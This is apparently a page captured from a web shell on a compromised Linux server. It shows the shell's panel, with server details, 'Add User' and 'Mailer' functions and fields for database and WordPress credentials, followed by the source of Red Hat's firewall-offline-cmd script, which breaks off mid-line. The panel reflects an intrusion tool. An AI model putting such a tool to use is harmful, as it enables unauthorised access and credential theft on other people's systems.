System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
dr-xr-xr-x
]
:
/
usr
/
bin
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
firewall-offline-cmd
#!/usr/libexec/platform-python -s # -*- coding: utf-8 -*- # # Copyright (C) 2009-2016 Red Hat, Inc. # # Authors: # Thomas Woerner <twoerner@redhat.com> # Jiri Popelka <jpopelka@redhat.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from gi.repository import GObject import sys sys.modules['gobject'] = GObject import argparse import os from firewall.client import FirewallClientIPSetSettings, \ FirewallClientZoneSettings, FirewallClientServiceSettings, \ FirewallClientIcmpTypeSettings, FirewallClientHelperSettings, \ FirewallClientPolicySettings from firewall.errors import FirewallError from firewall import config from firewall.core.fw import Firewall from firewall.functions import joinArgs, splitArgs, getPortRange from firewall.core.io.functions import check_config from firewall.core.io.zone import zone_reader from firewall.core.io.policy import policy_reader from firewall.core.io.service import service_reader from firewall.core.io.ipset import ipset_reader from firewall.core.io.icmptype import icmptype_reader from firewall.core.io.helper import helper_reader from firewall.command import FirewallCommand # check for root user def assert_root(): if os.getuid() != 0: sys.stderr.write("You need to be root to run %s.\n" % sys.argv[0]) sys.exit(-1) SYSTEM_CONFIG_FIREWALL = config.SYSCONFIGDIR + '/system-config-firewall' def __usage(): sys.stdout.write(""" Usage: firewall-offline-cmd [OPTIONS...] If no options are given, configuration from '%s' will be migrated. General Options -h, --help Prints a short help text and exits -V, --version Print the version string of firewalld -q, --quiet Do not print status messages --system-config Path to firewalld system configuration --default-config Path to firewalld default configuration --check-config Check system and default configuration Lokkit Compatibility Options --migrate-system-config-firewall=<file> Import configuration data from the given configuration file. --enabled Enable firewall (default) --disabled Disable firewall --addmodule=<module> Ignored option, was used to enable an iptables module --removemodule=<module> Ignored option, was used to disable an iptables module -s <service>, --service=<service> Enable a service in the default zone (example: ssh) --remove-service=<service> Disable a service in the default zone (example: ssh) -p <port>[-<port>]:<protocol>, --port=<port>[-<port>]:<protocol> Enable a port in the default zone (example: ssh:tcp) -t <interface>, --trust=<interface> Bind an interface to the trusted zone -m <interface>, --masq=<interface> Enables masquerading in the default zone, interface argument is ignored. This is IPv4 only. --custom-rules=[<type>:][<table>:]<filename> Ignored option. Was used to add custom rules to the firewall (Example: ipv4:filter:%s/ipv4_filter_addon) --forward-port=if=<interface>:port=<port>:proto=<protocol>[:toport=<destination port>][:toaddr=<destination address>] Forward the port with protocol for the interface to either another local destination port (no destination address given) or to an other destination address with an optional destination port. This will be added to the default zone. This is IPv4 only. --block-icmp=<icmp type> Block this ICMP type in the default zone. The default is to accept all ICMP types. Log Denied Options --get-log-denied Print the log denied value --set-log-denied=<value> Set log denied value Automatic Helpers Options --get-automatic-helpers Print the automatic helpers value --set-automatic-helpers=<value> Set automatic helpers value Zone Options --get-default-zone Print default zone for connections and interfaces --set-default-zone=<zone> Set default zone --get-zones Print predefined zones --get-services Print predefined services --get-icmptypes Print predefined icmptypes --get-zone-of-interface=<interface> Print name of the zone the interface is bound to --get-zone-of-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Print name of the zone the source is bound to --list-all-zones List everything added for or enabled in all zones --new-zone=<zone> Add a new empty zone --new-zone-from-file=<filename> [--name=<zone>] Add a new zone from file with optional name override [P only] --delete-zone=<zone> Delete an existing zone --load-zone-defaults=<zone> Load zone default settings --zone=<zone> Use this zone to set or query options, else default zone Usable for options marked with [Z] --info-zone=<zone> Print information about a zone --path-zone=<zone> Print file path of a zone Policy Options --get-policies Print predefined policies --list-all-policies List everything added for or enabled in all policies --new-policy=<policy> Add a new empty policy --new-policy-from-file=<filename> [--name=<policy>] Add a new policy from file with optional name override [P only] --delete-policy=<policy> Delete an existing policy --load-policy-defaults=<policy> Load policy default settings --policy=<policy> Use this policy to set or query options Usable for options marked with [O] --info-policy=<policy> Print information about a policy --path-policy=<policy> Print file path of a policy IPSet Options --new-ipset=<ipset> --type=<ipset type> [--option=<key>[=<value>]].. Add a new empty ipset --new-ipset-from-file=<filename> [--name=<ipset>] Add a new ipset from file with optional name override [P only] --delete-ipset=<ipset> Delete an existing ipset --load-ipset-defaults=<ipset> Load ipset default settings --info-ipset=<ipset> Print information about an ipset --path-ipset=<ipset> Print file path of an ipset --get-ipsets Print predefined ipsets --ipset=<ipset> --set-description=<description> Set new description to ipset --ipset=<ipset> --get-description Print description for ipset --ipset=<ipset> --set-short=<description> Set new short description to ipset --ipset=<ipset> --get-short Print short description for ipset --ipset=<ipset> --add-entry=<entry> Add a new entry to an ipset --ipset=<ipset> --remove-entry=<entry> Remove an entry from an ipset --ipset=<ipset> --query-entry=<entry> Return whether ipset has an entry --ipset=<ipset> --get-entries List entries of an ipset --ipset=<ipset> --add-entries-from-file=<entry> Add a new entries to an ipset --ipset=<ipset> --remove-entries-from-file=<entry> Remove entries from an ipset IcmpType Options --new-icmptype=<icmptype> Add a new empty icmptype --new-icmptype-from-file=<filename> [--name=<icmptype>] Add a new icmptype from file with optional name override [P only] --delete-icmptype=<icmptype> Delete an existing icmptype --load-icmptype-defaults=<icmptype> Load icmptype default settings --info-icmptype=<icmptype> Print information about an icmptype --path-icmptype=<icmptype> Print file path of an icmptype --icmptype=<icmptype> --set-description=<description> Set new description to icmptype --icmptype=<icmptype> --get-description Print description for icmptype --icmptype=<icmptype> --set-short=<description> Set new short description to icmptype --icmptype=<icmptype> --get-short Print short description for icmptype --icmptype=<icmptype> --add-destination=<ipv> Enable destination for ipv in icmptype --icmptype=<icmptype> --remove-destination=<ipv> Disable destination for ipv in icmptype --icmptype=<icmptype> --query-destination=<ipv> Return whether destination ipv is enabled in icmptype --icmptype=<icmptype> --get-destinations List destinations in icmptype Service Options --new-service=<service> Add a new empty service --new-service-from-file=<filename> [--name=<service>] Add a new service from file with optional name override [P only] --delete-service=<service> Delete an existing service --load-service-defaults=<service> Load icmptype default settings --info-service=<service> Print information about a service --path-service=<service> Print file path of a service --service=<service> --set-description=<description> Set new description to service --service=<service> --get-description Print description for service --service=<service> --set-short=<description> Set new short description to service --service=<service> --get-short Print short description for service --service=<service> --add-port=<portid>[-<portid>]/<protocol> Add a new port to service --service=<service> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from service --service=<service> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for service --service=<service> --get-ports List ports of service --service=<service> --add-protocol=<protocol> Add a new protocol to service --service=<service> --remove-protocol=<protocol> Remove a protocol from service --service=<service> --query-protocol=<protocol> Return whether the protocol has been added for service --service=<service> --get-protocols List protocols of service --service=<service> --add-source-port=<portid>[-<portid>]/<protocol> Add a new source port to service --service=<service> --remove-source-port=<portid>[-<portid>]/<protocol> Remove a source port from service --service=<service> --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added for service [P only] --service=<service> --get-source-ports List source ports of service --service=<service> --add-helper=<helper> Add a new helper to service --service=<service> --remove-helper=<helper> Remove a helper from service --service=<service> --query-helper=<helper> Return whether the helper has been added for service --service=<service> --get-service-helpers List helpers of service --service=<service> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service --service=<service> --remove-destination=<ipv> Disable destination for ipv i service --service=<service> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service --service=<service> --get-destinations List destinations in service --service=<service> --add-include=<service> Add a new include to service --service=<service> --remove-include=<service> Remove a include from service --service=<service> --query-include=<service> Return whether the include has been added for service --service=<service> --get-includes List includes of service Options to Adapt and Query Zones and Policies --list-all List everything added for or enabled [Z] [O] --set-description=<description> Set new description [Z] [O] --get-description Print description [Z] [O] --get-target Get the target [Z] [O] --set-target=<target> Set the target [Z] [O] --set-short=<description> Set new short description to zone [Z] [O] --get-short Print short description for zone [Z] [O] --list-services List services added [Z] [O] --add-service=<service> Add a service [Z] [O] --remove-service-from-zone=<service> Remove a service from a zone [Z] --remove-service-from-policy=<service> Remove a service from a policy [O] --query-service=<service> Return whether service has been added [Z] [O] --list-ports List ports added [Z] [O] --add-port=<portid>[-<portid>]/<protocol> Add the port [Z] [O] --remove-port=<portid>[-<portid>]/<protocol> Remove the port [Z] [O] --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added [Z] [O] --list-protocols List protocols added [Z] [O] --add-protocol=<protocol> Add the protocol [Z] [O] --remove-protocol=<protocol> Remove the protocol [Z] [O] --query-protocol=<protocol> Return whether the protocol has been added [Z] [O] --list-source-ports List source ports added [Z] [O] --add-source-port=<portid>[-<portid>]/<protocol> Add the source port [Z] [O] --remove-source-port=<portid>[-<portid>]/<protocol> Remove the source port [Z] [O] --query-source-port=<portid>[-<portid>]/<protocol> Return whether the source port has been added [Z] [O] --list-icmp-blocks List Internet ICMP type blocks added [Z] [O] --add-icmp-block=<icmptype> Add an ICMP block [Z] [O] --remove-icmp-block=<icmptype> Remove the ICMP block [Z] [O] --query-icmp-block=<icmptype> Return whether an ICMP block has been added [Z] [O] --list-forward-ports List IPv4 forward ports added [Z] [O] --add-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Add the IPv4 forward port [Z] [O] --remove-forward-port=port=<portid>[-<portid>]:proto=<protocol>[:toport=<portid>[-<portid>]][:toaddr=<address>[/<mask>]] Remove the IPv4 forward port [Z] [O] Options to Adapt and Query Zones --add-icmp-block-inversion Enable inversion of icmp blocks for a zone [Z] --remove-icmp-block-inversion Disable inversion of icmp blocks for a zone [Z] --query-icmp-block-inversion Return whether inversion of icmp blocks has been enabled for a zone [Z] --add-forward Enable forwarding of packets between interfaces and sources in a zone [Z] --remove-forward Disable forwarding of packets between interfaces and sources in a zone [Z] --query-forward Return whether forwarding of packets between interfaces and sources has been enabled for a zone [Z] Options to Adapt and Query Policies --get-priority Get the priority [O] --set-priority=<priority> Set the priority [O] --list-ingress-zones List ingress zones that are bound to a policy [O] --add-ingress-zone=<zone> Add the ingress zone to a policy [O] --remove-ingress-zone=<zone> Remove the ingress zone from a policy [O] --query-ingress-zone=<zone> Query whether the ingress zone has been adedd to a policy [O] --list-egress-zones List egress zones that are bound to a policy [O] --add-egress-zone=<zone> Add the egress zone to a policy [O] --remove-egress-zone=<zone> Remove the egress zone from a policy [O] --query-egress-zone=<zone> Query whether the egress zone has been adedd to a policy [O] Options to Handle Bindings of Interfaces --list-interfaces List interfaces that are bound to a zone [Z] --add-interface=<interface> Bind the <interface> to a zone [Z] --change-interface=<interface> Change zone the <interface> is bound to [Z] --query-interface=<interface> Query whether <interface> is bound to a zone [Z] --remove-interface=<interface> Remove binding of <interface> from a zone [Z] Options to Handle Bindings of Sources --list-sources List sources that are bound to a zone [Z] --add-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Bind the source to a zone [Z] --change-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Change zone the source is bound to [Z] --query-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Query whether the source is bound to a zone [Z] --remove-source=<source>[/<mask>]|<MAC>|ipset:<ipset> Remove binding of the source from a zone [Z] Helper Options --new-helper=<helper> --module=<module> [--family=<family>] Add a new helper --new-helper-from-file=<filename> [--name=<helper>] Add a new helper from file with optional name --delete-helper=<helper> Delete an existing helper --load-helper-defaults=<helper> Load helper default settings --info-helper=<helper> Print information about an helper --path-helper=<helper> Print file path of an helper --get-helpers Print predefined helpers --helper=<helper> --set-description=<description> Set new description to helper --helper=<helper> --get-description Print description for helper --helper=<helper> --set-short=<description> Set new short description to helper --helper=<helper> --get-short Print short description for helper --helper=<helper> --add-port=<portid>[-<portid>]/<protocol> Add a new port to helper --helper=<helper> --remove-port=<portid>[-<portid>]/<protocol> Remove a port from helper --helper=<helper> --query-port=<portid>[-<portid>]/<protocol> Return whether the port has been added for helper --helper=<helper> --get-ports List ports of helper --helper=<helper> --set-module=<module> Set module to helper --helper=<helper> --get-module Get module from helper --helper=<helper> --set-family={ipv4|ipv6|} Set family for helper --helper=<helper> --get-family Get module from helper Direct Options --direct First option for all direct options --get-all-chains Get all chains --get-chains {ipv4|ipv6|eb} <table> Get all chains added to the table --add-chain {ipv4|ipv6|eb} <table> <chain> Add a new chain to the table --remove-chain {ipv4|ipv6|eb} <table> <chain> Remove the chain from the table --query-chain {ipv4|ipv6|eb} <table> <chain> Return whether the chain has been added to the table --get-all-rules Get all rules --get-rules {ipv4|ipv6|eb} <table> <chain> Get all rules added to chain in table --add-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Add rule to chain in table --remove-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Remove rule with priority from chain in table --remove-rules {ipv4|ipv6|eb} <table> <chain> Remove rules from chain in table --query-rule {ipv4|ipv6|eb} <table> <chain> <priority> <arg>... Return whether a rule with priority has been added to chain in table --get-all-passthroughs Get all passthrough rules --get-passthroughs {ipv4|ipv6|eb} <arg>... Get passthrough rules --add-passthrough {ipv4|ipv6|eb} <arg>... Add a new passthrough rule --remove-passthrough {ipv4|ipv6|eb} <arg>... Remove a passthrough rule --query-passthrough {ipv4|ipv6|eb} <arg>... Return whether the passthrough rule has been added Lockdown Options --lockdown-on Enable lockdown. --lockdown-off Disable lockdown. --query-lockdown Query whether lockdown is enabled Lockdown Whitelist Options --list-lockdown-whitelist-commands List all command lines that are on the whitelist --add-lockdown-whitelist-command=<command> Add the command to the whitelist --remove-lockdown-whitelist-command=<command> Remove the command from the whitelist --query-lockdown-whitelist-command=<command> Query whether the command is on the whitelist --list-lockdown-whitelist-contexts List all contexts that are on the whitelist --add-lockdown-whitelist-context=<context> Add the context context to the whitelist --remove-lockdown-whitelist-context=<context> Remove the context from the whitelist --query-lockdown-whitelist-context=<context> Query whether the context is on the whitelist --list-lockdown-whitelist-uids List all user ids that are on the whitelist --add-lockdown-whitelist-uid=<uid> Add the user id uid to the whitelist --remove-lockdown-whitelist-uid=<uid> Remove the user id uid from the whitelist --query-lockdown-whitelist-uid=<uid> Query whether the user id uid is on the whitelist --list-lockdown-whitelist-users List all user names that are on the whitelist --add-lockdown-whitelist-user=<user> Add the user name user to the whitelist --remove-lockdown-whitelist-user=<user> Remove the user name user from the whitelist --query-lockdown-whitelist-user=<user> Query whether the user name user is on the whitelist Polkit Options --policy-server Change Polkit actions to 'server' (more restricted) --policy-desktop Change Polkit actions to 'desktop' (less restricted) """ % (SYSTEM_CONFIG_FIREWALL, config.SYSCONFIGDIR)) def parse_port_lokkit(value): try: (port, proto) = value.split(":") except Exception: cmd.fail("bad port (most likely missing protocol), correct syntax is portid[-portid]:protocol") return (port, proto) def pk_symlink(product='server'): _PK_DIR = '/usr/share/polkit-1/actions/' _PK_NAME = 'org.fedoraproject.FirewallD1.' os.chdir(_PK_DIR) if os.path.isfile(_PK_NAME+product+'.policy.choice'): if os.path.isfile(_PK_NAME+'policy'): os.remove(_PK_NAME+'policy') os.symlink(_PK_NAME+product+'.policy.choice', _PK_NAME+'policy') cmd.print_and_exit('symlink '+_PK_DIR+_PK_NAME+product+'.policy.choice -> '+_PK_NAME+'policy') else: cmd.fail('no such file '+_PK_DIR+_PK_NAME+product+'.policy.choice') # system-config-firewall def read_sysconfig_args(config_file=SYSTEM_CONFIG_FIREWALL): filename = None if os.path.exists(config_file) and os.path.isfile(config_file): filename = config_file try: f = open(filename, 'r') except Exception: return None argv = [ ] for line in f: if not line: break line = line.strip() if len(line) < 1 or line[0] == '#': continue argv.append(line) f.close() return argv parser = argparse.ArgumentParser(usage="see firewall-offline-cmd man page", add_help=False) parser_group_output = parser.add_mutually_exclusive_group() parser_group_output.add_argument("-v", "--verbose", action="store_true") parser_group_output.add_argument("-q", "--quiet", action="store_true") parser_group_lokkit = parser.add_argument_group() parser_group_lokkit.add_argument("--enabled", action="store_true") parser_group_lokkit.add_argument("--disabled", action="store_true") parser_group_lokkit.add_argument("--addmodule", metavar="<module>", action='append') parser_group_lokkit.add_argument("--removemodule", metavar="<module>", action='append') parser_group_lokkit.add_argument("--service", "-s", metavar="<service>", action='append') parser_group_lokkit.add_argument("--remove-service", metavar="<service>", action='append') parser_group_lokkit.add_argument("--port", "-p", metavar="<port>", action='append') parser_group_lokkit.add_argument("--trust", "-t", metavar="<iface>", action='append') parser_group_lokkit.add_argument("--masq", "-m", metavar="<iface>", action='append') parser_group_lokkit.add_argument("--custom-rules", metavar="<filename>", action='append') parser_group_lokkit.add_argument("--forward-port", metavar="<port>", action='append') parser_group_lokkit.add_argument("--block-icmp", metavar="<icmptype>", action='append') parser.add_argument("--system-config", metavar="path") parser.add_argument("--default-config", metavar="path") parser.add_argument("--check-config", action="store_true") parser_group_standalone = parser.add_mutually_exclusive_group() parser_group_standalone.add_argument("-h", "--help", action="store_true") parser_group_standalone.add_argument("-V", "--version", action="store_true") parser_group_standalone.add_argument("--get-log-denied", action="store_true") parser_group_standalone.add_argument("--set-log-denied", metavar="<value>") parser_group_standalone.add_argument("--get-automatic-helpers", action="store_true") parser_group_standalone.add_argument("--set-automatic-helpers", metavar="<value>") parser_group_standalone.add_argument("--policy-server", action="store_true") parser_group_standalone.add_argument("--policy-desktop", action="store_true") parser_group_standalone.add_argument("--lockdown-on", action="store_true") parser_group_standalone.add_argument("--lockdown-off", action="store_true") parser_group_standalone.add_argument("--query-lockdown", action="store_true") parser_group_standalone.add_argument("--get-default-zone", action="store_true") parser_group_standalone.add_argument("--set-default-zone", metavar="<zone>") parser_group_standalone.add_argument("--get-zones", action="store_true") parser_group_standalone.add_argument("--get-policies", action="store_true") parser_group_standalone.add_argument("--get-services", action="store_true") parser_group_standalone.add_argument("--get-icmptypes", action="store_true") parser_group_standalone.add_argument("--get-zone-of-interface", metavar="<iface>", action='append') parser_group_standalone.add_argument("--get-zone-of-source", metavar="<source>", action='append') parser_group_standalone.add_argument("--list-all-zones", action="store_true") parser_group_standalone.add_argument("--list-all-policies", action="store_true") parser_group_standalone.add_argument("--info-zone", metavar="<zone>") parser_group_standalone.add_argument("--info-policy", metavar="<policy>") parser_group_standalone.add_argument("--info-service", metavar="<service>") parser_group_standalone.add_argument("--info-icmptype", metavar="<icmptype>") parser_group_standalone.add_argument("--info-ipset", metavar="<ipset>") parser_group_standalone.add_argument("--info-helper", metavar="<helper>") parser_group_config = parser.add_mutually_exclusive_group() parser_group_config.add_argument("--new-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--new-icmptype-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--load-icmptype-defaults", metavar="<icmptype>") parser_group_config.add_argument("--new-service", metavar="<service>") parser_group_config.add_argument("--new-service-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-service", metavar="<service>") parser_group_config.add_argument("--load-service-defaults", metavar="<service>") parser_group_config.add_argument("--new-zone", metavar="<zone>") parser_group_config.add_argument("--new-zone-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-zone", metavar="<zone>") parser_group_config.add_argument("--load-zone-defaults", metavar="<zone>") parser_group_config.add_argument("--new-policy", metavar="<policy>") parser_group_config.add_argument("--new-policy-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-policy", metavar="<policy>") parser_group_config.add_argument("--load-policy-defaults", metavar="<policy>") parser_group_config.add_argument("--new-ipset", metavar="<ipset>") parser_group_config.add_argument("--new-ipset-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-ipset", metavar="<ipset>") parser_group_config.add_argument("--load-ipset-defaults", metavar="<ipset>") parser_group_config.add_argument("--new-helper", metavar="<helper>") parser_group_config.add_argument("--new-helper-from-file", metavar="<filename>") parser_group_config.add_argument("--delete-helper", metavar="<helper>") parser_group_config.add_argument("--load-helper-defaults", metavar="<helper>") parser_group_config.add_argument("--path-zone", metavar="<zone>") parser_group_config.add_argument("--path-policy", metavar="<policy>") parser_group_config.add_argument("--path-service", metavar="<service>") parser_group_config.add_argument("--path-icmptype", metavar="<icmptype>") parser_group_config.add_argument("--path-ipset", metavar="<ipset>") parser_group_config.add_argument("--path-helper", metavar="<helper>") parser.add_argument("--name", default="", metavar="<name>") parser_group_lockdown_whitelist = parser.add_mutually_exclusive_group() parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-commands", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-command", metavar="<command>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-contexts", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-context", metavar="<context>", action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-uids", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-uid", metavar="<uid>", type=int, action='append') parser_group_lockdown_whitelist.add_argument("--list-lockdown-whitelist-users", action="store_true") parser_group_lockdown_whitelist.add_argument("--add-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--remove-lockdown-whitelist-user", metavar="<user>", action='append') parser_group_lockdown_whitelist.add_argument("--query-lockdown-whitelist-user", metavar="<user>", action='append') parser.add_argument("--zone", default="", metavar="<zone>") parser.add_argument("--policy", default="", metavar="<policy>") parser_group_zone_or_policy = parser.add_mutually_exclusive_group() parser_group_zone_or_policy.add_argument("--add-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--remove-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--query-interface", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--change-interface", "--change-zone", metavar="<iface>", action='append') parser_group_zone_or_policy.add_argument("--list-interfaces", action="store_true") parser_group_zone_or_policy.add_argument("--add-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--remove-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--query-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--change-source", metavar="<source>", action='append') parser_group_zone_or_policy.add_argument("--list-sources", action="store_true") parser_group_zone_or_policy.add_argument("--add-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-ingress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-ingress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--remove-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--query-egress-zone", metavar="<zone>", action='append') parser_group_zone_or_policy.add_argument("--list-egress-zones", action="store_true") parser_group_zone_or_policy.add_argument("--add-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--remove-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--query-rich-rule", metavar="<rule>", action='append') parser_group_zone_or_policy.add_argument("--add-service", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--remove-service-from-zone", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--remove-service-from-policy", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--query-service", metavar="<service>", action='append') parser_group_zone_or_policy.add_argument("--add-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--remove-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--query-protocol", metavar="<protocol>", action='append') parser_group_zone_or_policy.add_argument("--add-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-source-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--add-forward", action="store_true") parser_group_zone_or_policy.add_argument("--remove-forward", action="store_true") parser_group_zone_or_policy.add_argument("--query-forward", action="store_true") parser_group_zone_or_policy.add_argument("--add-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--remove-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--query-masquerade", action="store_true") parser_group_zone_or_policy.add_argument("--add-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--remove-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--query-icmp-block", metavar="<icmptype>", action='append') parser_group_zone_or_policy.add_argument("--add-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--remove-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--query-icmp-block-inversion", action="store_true") parser_group_zone_or_policy.add_argument("--add-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--remove-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--query-forward-port", metavar="<port>", action='append') parser_group_zone_or_policy.add_argument("--list-rich-rules", action="store_true") parser_group_zone_or_policy.add_argument("--list-services", action="store_true") parser_group_zone_or_policy.add_argument("--list-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-protocols", action="store_true") parser_group_zone_or_policy.add_argument("--list-icmp-blocks", action="store_true") parser_group_zone_or_policy.add_argument("--list-forward-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-source-ports", action="store_true") parser_group_zone_or_policy.add_argument("--list-all", action="store_true") parser_group_zone_or_policy.add_argument("--get-target", action="store_true") parser_group_zone_or_policy.add_argument("--set-target", metavar="<target>") parser_group_zone_or_policy.add_argument("--get-priority", action="store_true") parser_group_zone_or_policy.add_argument("--set-priority", metavar="<priority>") parser.add_argument("--option", metavar="<key>[=<value>]", action='append') parser.add_argument("--type", metavar="<ipsettype>") parser.add_argument("--ipset", metavar="<ipset>") parser_ipset = parser.add_mutually_exclusive_group() #parser_ipset.add_argument("--add-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--remove-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--query-option", metavar="<key>[=<value>]") #parser_ipset.add_argument("--get-options", action="store_true") parser_ipset.add_argument("--get-ipsets", action="store_true") parser_ipset.add_argument("--add-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--remove-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--query-entry", metavar="<entry>", action='append') parser_ipset.add_argument("--get-entries", action="store_true") parser_ipset.add_argument("--add-entries-from-file", metavar="<filename>", action='append') parser_ipset.add_argument("--remove-entries-from-file", metavar="<filename>", action='append') parser.add_argument("--icmptype", metavar="<icmptype>") parser_icmptype = parser.add_mutually_exclusive_group() parser_icmptype.add_argument("--add-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--remove-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--query-destination", metavar="<ipv>", action='append') parser_icmptype.add_argument("--get-destinations", action="store_true") parser_service = parser.add_mutually_exclusive_group() parser_service.add_argument("--get-ports", action="store_true") parser_service.add_argument("--get-source-ports", action="store_true") parser_service.add_argument("--get-protocols", action="store_true") parser_service.add_argument("--add-module", metavar="<module>", action='append') parser_service.add_argument("--remove-module", metavar="<module>", action='append') parser_service.add_argument("--query-module", metavar="<module>", action='append') parser_service.add_argument("--get-modules", action="store_true") parser_service.add_argument("--add-helper", metavar="<helper>", action='append') parser_service.add_argument("--remove-helper", metavar="<helper>", action='append') parser_service.add_argument("--query-helper", metavar="<helper>", action='append') parser_service.add_argument("--get-service-helpers", action="store_true") parser_service.add_argument("--add-include", metavar="<service>", action='append') parser_service.add_argument("--remove-include", metavar="<service>", action='append') parser_service.add_argument("--query-include", metavar="<service>", action='append') parser_service.add_argument("--get-includes", action="store_true") parser_service.add_argument("--set-destination", metavar="<destination>", action='append') parser_service.add_argument("--get-destination", action="store_true") parser_service.add_argument("--set-description", metavar="<description>") parser_service.add_argument("--get-description", action="store_true") parser_service.add_argument("--set-short", metavar="<description>") parser_service.add_argument("--get-short", action="store_true") parser.add_argument("--helper", metavar="<helper>") parser.add_argument("--family", metavar="<family>") parser.add_argument("--module", metavar="<module>") parser_helper = parser.add_mutually_exclusive_group() #parser_helper.add_argument("--get-ports", action="store_true") parser_helper.add_argument("--get-helpers", action="store_true") parser_helper.add_argument("--set-module", metavar="<module>") parser_helper.add_argument("--get-module", action="store_true") #parser_helper.add_argument("--query-module", metavar="<module>") parser_helper.add_argument("--set-family", metavar="<family>|''", nargs="*") parser_helper.add_argument("--get-family", action="store_true") parser.add_argument("--direct", action="store_true") # not possible to have sequences of options here parser_direct = parser.add_mutually_exclusive_group() parser_direct.add_argument("--add-passthrough", nargs=argparse.REMAINDER, metavar=("{ ipv4 